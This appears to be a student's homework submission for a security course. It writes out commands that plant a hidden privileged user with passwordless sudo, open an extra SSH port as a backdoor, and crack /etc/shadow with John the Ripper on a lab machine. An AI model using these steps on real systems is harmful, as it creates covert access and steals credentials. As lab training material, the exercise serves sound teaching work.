## Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

\*\*Step 1: Shadow People\*\*

1. Create a secret user named `sysd`. Make sure this user doesn't have a home folder created:

- **adduser ==no-create-home sysd**

2. Give your secret user a password:

- **cybersecurity**

3. Give your secret user a system UID < 1000:

- **usermod -u 99 sysd**

4. Give your secret user the same GID:

- **groupmod -g 99 sysd**

5. Give your secret user full `sudo` access without the need for a

- **sudo visudo**

**sysd ALL=(ALL) NOPASSWD:ALL**

6. Test that `sudo` access works without your password:

```bash

**sudo -l**

```

\*\*Step 2: Smooth Sailing\*\*

1. Edit the `sshd\_config` file:

```bash

**Nano sshd\_config (from the etc/ssh directory)**

**Add Port 2222 after Port 22 (no hash)**

```

\*\*Step 3: Testing Your Configuration Update\*\*

1. Restart the SSH service:

- `**service sshd restart**

2. Exit the `root` account:

- ‘**quit’, then ‘logout’ to exit target machine**

3. SSH to the target machine using your `sysd` account and port `2222`:

- **ssh** [**sysd@192.168.6.105**](mailto:sysd@192.168.6.105) **-p 2222**

4. Use `sudo` to switch to the root user:

- **sudo -s**

\*\*Step 4: Crack All the Passwords\*\*

1. SSH back to the system using your `sysd` account and port `2222`:

- **ssh** [**sysd@192.168.6.105**](mailto:sysd@192.168.6.105) **-p 2222**

2. Escalate your privileges to the `root` user. Use John to crack the entire `/etc/shadow` file:

-  **sudo -s**

**john shadow (from the /etc folder)**

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